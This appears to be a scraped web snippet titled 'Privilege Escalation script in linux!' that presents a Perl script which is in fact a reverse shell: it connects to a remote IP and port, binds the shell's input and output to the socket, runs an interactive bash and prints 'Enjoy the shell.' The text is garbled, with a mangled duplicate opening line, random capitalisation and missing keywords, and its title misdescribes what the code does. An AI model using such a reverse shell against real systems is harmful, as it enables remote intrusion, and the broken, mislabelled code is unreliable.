Privilege Escalation script in linux! The Code is as follows #! Usrbinperl-w # usestrict; useSocket; useI: Handle; ($ # ARGV + 1! 2) {pr $ # ARGV $ 0Remote_IPRemote_Port \ n; exit1;} my $ remote_ip $ ARGV [0]; my $ remote_port $ ARGV [1]; my $ protogetprotobyname (tc
Privilege Escalation script in linux! The Code is as follows:
#! /Usr/bin/perl-w
#
Use sTrIct;
Use Socket;
Use I: Handle;
($ # ARGV + 1! = 2 ){
Pr $ # ARGV $0 Remote_IP Remote_Port n;
ExIt 1;
}
My $ remote_ip = $ ARGV [0];
My $ remote_port = $ ARGV [1];
My $ proto = getprotobyname (tCp);
My $ pack_aDdR = sockaddr_in ($ remote_port, inet_aton ($ remote_ip ));
My $ shell = '/bin/bash-I ';
(SOCK, AF_INET, SOCK_STREAM, $ proto );
STDOUT-> autoflush (1 );
SOCK-> autoflush (1 );
Connect (SOCK, $ pack_addr) or die can not connect: $ !;
Open STDIN, <& SOCK;
Open STDOUT,> & SOCK;
Open STDERR,> & SOCK;
Pr Enjoy the shell. n;
System ($ shell );
Close SOCK;
Exit 0;
Save the above Code as *. pl